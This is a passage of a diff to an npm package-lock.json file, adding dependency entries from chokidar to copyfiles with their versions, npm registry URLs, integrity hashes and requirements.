+            "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.4.0.tgz",
+            "integrity": "sha512-aXAaho2VJtisB/1fg1+3nlLJqGOuewTzQpd/Tz0yTg2R0e4IGtshYvtjowyEumcBv2z+y4+kc75Mz7j5xJskcQ==",
+            "requires": {
+                "anymatch": "~3.1.1",
+                "braces": "~3.0.2",
+                "fsevents": "~2.1.2",
+                "glob-parent": "~5.1.0",
+                "is-binary-path": "~2.1.0",
+                "is-glob": "~4.0.1",
+                "normalize-path": "~3.0.0",
+                "readdirp": "~3.4.0"
+            }
+        },
+        "chownr": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
+            "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
+        },
+        "chrome-trace-event": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+            "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="
+        },
+        "ci-info": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
+            "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
+        },
+        "cipher-base": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz",
+            "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "safe-buffer": "^5.0.1"
+            }
+        },
+        "class-utils": {
+            "version": "0.3.6",
+            "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
+            "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
+            "requires": {
+                "arr-union": "^3.1.0",
+                "define-property": "^0.2.5",
+                "isobject": "^3.0.0",
+                "static-extend": "^0.1.1"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "0.2.5",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                    "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                    "requires": {
+                        "is-descriptor": "^0.1.0"
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "classnames": {
+            "version": "2.2.6",
+            "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz",
+            "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q=="
+        },
+        "clean-css": {
+            "version": "4.2.4",
+            "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.4.tgz",
+            "integrity": "sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==",
+            "requires": {
+                "source-map": "~0.6.0"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "clean-stack": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+            "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A=="
+        },
+        "cli-boxes": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
+            "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
+        },
+        "cli-cursor": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
+            "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
+            "requires": {
+                "restore-cursor": "^3.1.0"
+            }
+        },
+        "cli-width": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz",
+            "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw=="
+        },
+        "clipboardy": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/clipboardy/-/clipboardy-2.3.0.tgz",
+            "integrity": "sha512-mKhiIL2DrQIsuXMgBgnfEHOZOryC7kY7YO//TN6c63wlEm3NG5tz+YgY5rVi29KCmq/QQjKYvM7a19+MDOTHOQ==",
+            "requires": {
+                "arch": "^2.1.1",
+                "execa": "^1.0.0",
+                "is-wsl": "^2.1.1"
+            },
+            "dependencies": {
+                "execa": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
+                    "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
+                    "requires": {
+                        "cross-spawn": "^6.0.0",
+                        "get-stream": "^4.0.0",
+                        "is-stream": "^1.1.0",
+                        "npm-run-path": "^2.0.0",
+                        "p-finally": "^1.0.0",
+                        "signal-exit": "^3.0.0",
+                        "strip-eof": "^1.0.0"
+                    }
+                },
+                "get-stream": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+                    "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+                    "requires": {
+                        "pump": "^3.0.0"
+                    }
+                },
+                "is-stream": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
+                    "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ=="
+                },
+                "npm-run-path": {
+                    "version": "2.0.2",
+                    "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
+                    "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==",
+                    "requires": {
+                        "path-key": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "cliui": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz",
+            "integrity": "sha512-GIOYRizG+TGoc7Wgc1LiOTLare95R3mzKgoln+Q/lE4ceiYH19gUpl0l0Ffq4lJDEf3FxujMe6IBfOCs7pfqNA==",
+            "requires": {
+                "center-align": "^0.1.1",
+                "right-align": "^0.1.1",
+                "wordwrap": "0.0.2"
+            }
+        },
+        "clone-deep": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
+            "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
+            "requires": {
+                "is-plain-object": "^2.0.4",
+                "kind-of": "^6.0.2",
+                "shallow-clone": "^3.0.0"
+            },
+            "dependencies": {
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "clone-response": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
+            "integrity": "sha512-yjLXh88P599UOyPTFX0POsd7WxnbsVsGohcwzHOLspIhhpalPw1BcqED8NblyZLKcGrL8dTgMlcaZxV2jAD41Q==",
+            "requires": {
+                "mimic-response": "^1.0.0"
+            }
+        },
+        "coa": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
+            "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
+            "requires": {
+                "@types/q": "^1.5.1",
+                "chalk": "^2.4.1",
+                "q": "^1.1.2"
+            }
+        },
+        "code-point-at": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
+            "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA=="
+        },
+        "collapse-white-space": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz",
+            "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ=="
+        },
+        "collection-visit": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
+            "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==",
+            "requires": {
+                "map-visit": "^1.0.0",
+                "object-visit": "^1.0.0"
+            }
+        },
+        "color": {
+            "version": "3.2.1",
+            "resolved": "https://registry.npmjs.org/color/-/color-3.2.1.tgz",
+            "integrity": "sha512-aBl7dZI9ENN6fUGC7mWpMTPNHmWUSNan9tuWN6ahh5ZLNk9baLJOnSMlrQkHcrfFgz2/RigjUVAjdx36VcemKA==",
+            "requires": {
+                "color-convert": "^1.9.3",
+                "color-string": "^1.6.0"
+            }
+        },
+        "color-convert": {
+            "version": "1.9.3",
+            "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+            "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+            "requires": {
+                "color-name": "1.1.3"
+            }
+        },
+        "color-name": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+            "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="
+        },
+        "color-string": {
+            "version": "1.9.1",
+            "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz",
+            "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==",
+            "requires": {
+                "color-name": "^1.0.0",
+                "simple-swizzle": "^0.2.2"
+            }
+        },
+        "colors": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
+            "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA=="
+        },
+        "combined-stream": {
+            "version": "1.0.8",
+            "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+            "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+            "requires": {
+                "delayed-stream": "~1.0.0"
+            }
+        },
+        "comma-separated-tokens": {
+            "version": "1.0.8",
+            "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz",
+            "integrity": "sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw=="
+        },
+        "command-exists": {
+            "version": "1.2.9",
+            "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz",
+            "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w=="
+        },
+        "commander": {
+            "version": "2.20.3",
+            "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+            "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+        },
+        "common-tags": {
+            "version": "1.8.2",
+            "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
+            "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA=="
+        },
+        "commondir": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+            "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg=="
+        },
+        "component-emitter": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+            "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg=="
+        },
+        "compress-brotli": {
+            "version": "1.3.8",
+            "resolved": "https://registry.npmjs.org/compress-brotli/-/compress-brotli-1.3.8.tgz",
+            "integrity": "sha512-lVcQsjhxhIXsuupfy9fmZUFtAIdBmXA7EGY6GBdgZ++qkM9zG4YFT8iU7FoBxzryNDMOpD1HIFHUSX4D87oqhQ==",
+            "requires": {
+                "@types/json-buffer": "~3.0.0",
+                "json-buffer": "~3.0.1"
+            },
+            "dependencies": {
+                "json-buffer": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
+                    "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+                }
+            }
+        },
+        "compressible": {
+            "version": "2.0.18",
+            "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
+            "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
+            "requires": {
+                "mime-db": ">= 1.43.0 < 2"
+            }
+        },
+        "compression": {
+            "version": "1.7.4",
+            "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
+            "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
+            "requires": {
+                "accepts": "~1.3.5",
+                "bytes": "3.0.0",
+                "compressible": "~2.0.16",
+                "debug": "2.6.9",
+                "on-headers": "~1.0.2",
+                "safe-buffer": "5.1.2",
+                "vary": "~1.1.2"
+            },
+            "dependencies": {
+                "bytes": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+                    "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="
+                }
+            }
+        },
+        "concat-map": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+            "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+        },
+        "concat-stream": {
+            "version": "1.6.2",
+            "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+            "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+            "requires": {
+                "buffer-from": "^1.0.0",
+                "inherits": "^2.0.3",
+                "readable-stream": "^2.2.2",
+                "typedarray": "^0.0.6"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "configstore": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz",
+            "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==",
+            "requires": {
+                "dot-prop": "^5.2.0",
+                "graceful-fs": "^4.1.2",
+                "make-dir": "^3.0.0",
+                "unique-string": "^2.0.0",
+                "write-file-atomic": "^3.0.0",
+                "xdg-basedir": "^4.0.0"
+            }
+        },
+        "confusing-browser-globals": {
+            "version": "1.0.11",
+            "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
+            "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA=="
+        },
+        "connect-history-api-fallback": {
+            "version": "1.6.0",
+            "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz",
+            "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg=="
+        },
+        "console-browserify": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.2.0.tgz",
+            "integrity": "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="
+        },
+        "console-control-strings": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
+            "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ=="
+        },
+        "constantinople": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-3.1.2.tgz",
+            "integrity": "sha512-yePcBqEFhLOqSBtwYOGGS1exHo/s1xjekXiinh4itpNQGCu4KA1euPh1fg07N2wMITZXQkBz75Ntdt1ctGZouw==",
+            "requires": {
+                "@types/babel-types": "^7.0.0",
+                "@types/babylon": "^6.16.2",
+                "babel-types": "^6.26.0",
+                "babylon": "^6.18.0"
+            }
+        },
+        "constants-browserify": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz",
+            "integrity": "sha512-xFxOwqIzR/e1k1gLiWEophSCMqXcwVHIH7akf7b/vxcUeGunlj3hvZaaqxwHsTgn+IndtkQJgSztIDWeumWJDQ=="
+        },
+        "content-disposition": {
+            "version": "0.5.4",
+            "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+            "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+            "requires": {
+                "safe-buffer": "5.2.1"
+            },
+            "dependencies": {
+                "safe-buffer": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+                    "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+                }
+            }
+        },
+        "content-type": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
+            "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA=="
+        },
+        "contentful-management": {
+            "version": "7.54.2",
+            "resolved": "https://registry.npmjs.org/contentful-management/-/contentful-management-7.54.2.tgz",
+            "integrity": "sha512-up7a31QsVM3ADXm6CrLGp9u/AVHO/yIDJGyS9Ztesa/xlxJgGmrEMTqUevauT1Y/5vC54gBM5S8in1zcP7atqQ==",
+            "requires": {
+                "@types/json-patch": "0.0.30",
+                "axios": "^0.21.4",
+                "contentful-sdk-core": "^6.10.4",
+                "fast-copy": "^2.1.0",
+                "lodash.isplainobject": "^4.0.6",
+                "type-fest": "^2.5.3"
+            },
+            "dependencies": {
+                "type-fest": {
+                    "version": "2.18.0",
+                    "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.18.0.tgz",
+                    "integrity": "sha512-pRS+/yrW5TjPPHNOvxhbNZexr2bS63WjrMU8a+VzEBhUi9Tz1pZeD+vQz3ut0svZ46P+SRqMEPnJmk2XnvNzTw=="
+                }
+            }
+        },
+        "contentful-sdk-core": {
+            "version": "6.11.0",
+            "resolved": "https://registry.npmjs.org/contentful-sdk-core/-/contentful-sdk-core-6.11.0.tgz",
+            "integrity": "sha512-ukKxiiHdCa/izTQbA3/VUPMQB2PZW5D2KYjV9WQVOc8QjmDhu1wpEDkYxYjOrUDgT5tM7xw6umpwlifxoYe9kQ==",
+            "requires": {
+                "fast-copy": "^2.1.0",
+                "lodash.isplainobject": "^4.0.6",
+                "lodash.isstring": "^4.0.1",
+                "p-throttle": "^4.1.1",
+                "qs": "^6.9.4"
+            }
+        },
+        "convert-hrtime": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/convert-hrtime/-/convert-hrtime-3.0.0.tgz",
+            "integrity": "sha512-7V+KqSvMiHp8yWDuwfww06XleMWVVB9b9tURBx+G7UTADuo5hYPuowKloz4OzOqbPezxgo+fdQ1522WzPG4OeA=="
+        },
+        "convert-source-map": {
+            "version": "1.8.0",
+            "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz",
+            "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==",
+            "requires": {
+                "safe-buffer": "~5.1.1"
+            }
+        },
+        "cookie": {
+            "version": "0.5.0",
+            "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
+            "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw=="
+        },
+        "cookie-signature": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+            "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+        },
+        "copy-concurrently": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz",
+            "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==",
+            "requires": {
+                "aproba": "^1.1.1",
+                "fs-write-stream-atomic": "^1.0.8",
+                "iferr": "^0.1.5",
+                "mkdirp": "^0.5.1",
+                "rimraf": "^2.5.4",
+                "run-queue": "^1.0.0"
+            }
+        },
+        "copy-descriptor": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
+            "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw=="
+        },
+        "copyfiles": {
+            "version": "2.4.1",
+            "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz",
+            "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==",
+            "requires": {
+                "glob": "^7.0.5",
+                "minimatch": "^3.0.3",
+                "mkdirp": "^1.0.4",
+                "noms": "0.0.0",
+                "through2": "^2.0.1",
+                "untildify": "^4.0.0",
+                "yargs": "^16.1.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "cliui": {
+                    "version": "7.0.4",
+                    "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+                    "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+                    "requires": {
+                        "string-width": "^4.2.0",
+                        "strip-ansi": "^6.0.0",
+                        "wrap-ansi": "^7.0.0"
+                    }
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "mkdirp": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+                    "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
